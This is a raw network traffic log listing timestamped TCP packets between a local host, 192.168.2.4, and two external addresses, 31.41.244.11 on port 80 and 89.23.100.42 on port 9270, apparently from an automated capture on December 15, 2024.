Dec 15, 2024 11:59:33.379390001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.379448891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.381406069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.381457090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.381473064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.381491899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.381494999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.381526947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.381531000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.381565094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.382952929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.382987976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.383034945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.383588076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.383620977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.383636951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.383665085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.384716034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.384783983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.385133982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.385175943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.386059046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.386092901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.386162043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.386790037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.386843920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.386997938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.387044907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.388079882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.388127089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.388299942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.388348103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.389343023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.389390945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.389556885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.389668941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.390449047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.390496016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.390855074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.390899897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.391690969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.391751051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.462651968 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.483124971 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.521914005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.521964073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.522017002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.522248983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.522294998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.522377014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.523401022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.523451090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.523495913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.523540974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.524686098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.524723053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.524746895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.524769068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.525748014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.525805950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.525871038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.525911093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.526932001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.526997089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.527040005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.527084112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.528269053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.528312922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.528316975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.528353930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.529238939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.529311895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.529395103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.529438019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.530828953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.530864954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.530885935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.530904055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.531610966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.531677008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.531822920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.531874895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.532913923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.532951117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.532999992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.534045935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.534090996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.534178972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.534228086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.535229921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.535291910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.535337925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.535382986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.536283970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.536333084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.536393881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.536441088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.537640095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.537674904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.537724972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.538685083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.538731098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.538815022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.538877964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.539916039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.539972067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.540014982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.540944099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.540987968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.541127920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.541171074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.542481899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.542516947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.542567015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.543385029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.543437004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.543493986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.543539047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.544534922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.544593096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.544687986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.544742107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.545783043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.545869112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.545919895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.546812057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.546858072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.546868086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.546948910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.548079014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.548125982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.548135996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.548180103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.549200058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.549252033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.549308062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.549356937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.550388098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.550534964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.550558090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.550609112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.551554918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.551604033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.551662922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.551702976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.552721024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.552774906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.552820921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.553925037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.554069042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.554116011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.555093050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.555140972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.555208921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.555249929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.556279898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.556320906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.556334972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.556375027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.557399035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.557452917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.557511091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.557616949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.558672905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.558706999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.558717966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.558751106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.559758902 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.559802055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.559973001 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.560313940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.560372114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.561602116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.561636925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.561696053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.562541008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.562576056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.562624931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.563416004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.563450098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.563472986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.563489914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.564498901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.564551115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.564635992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.565532923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.565623045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.565670013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.565710068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.566401005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.566772938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.566823006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.566876888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.566921949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.567981958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.568039894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.568135977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.568593025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.569149971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.569197893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.569245100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.569288969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.570466042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.570501089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.570553064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.571544886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.571593046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.571597099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.571639061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.572645903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.572702885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.572768927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.572813034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.573905945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.573956966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.574013948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.575392008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.575426102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.575449944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.575464964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.576356888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.576397896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.576433897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.576473951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.577645063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.577678919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.577721119 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.578506947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.578555107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.578686953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.578732014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.579802036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.579837084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.579860926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.579878092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.580899954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.580945015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.581010103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.581053972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.582647085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.582683086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.582731962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.583189011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.583236933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.603355885 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.610261917 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.679698944 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.680179119 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.713879108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.713992119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.714066029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.714457989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.714504004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.714570045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.714615107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.716088057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.716124058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.716145039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.716165066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.716887951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.716934919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.717129946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.717216015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.718034983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.718090057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.718154907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.718199968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.719136000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.719187021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.719254971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.719333887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.720273972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.720320940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.720638990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.720755100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.721441031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.721599102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.721641064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.721688032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.722630978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.722676039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.722748041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.722791910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.723788023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.723836899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.723968983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.724013090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.724997044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.725049019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.725245953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.725290060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.726160049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.726298094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.726347923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.726679087 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.727294922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.727447033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.727494001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.728504896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.728553057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.728697062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.728743076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.729697943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.729803085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.729851961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.730844021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.730890989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.730972052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.731017113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.731060028 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.731118917 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.732109070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.732142925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.732158899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.732182980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.733215094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.733264923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.733335972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.733380079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.734366894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.734637022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.734683990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.735661983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.735697031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.735743999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.736756086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.736845970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.736975908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.737025976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.737873077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.737927914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.738008022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.738049984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.739402056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.739437103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.739465952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.739483118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.740350962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.740385056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.740407944 CET	49805	80	192.168.2.4	31.41.244.11
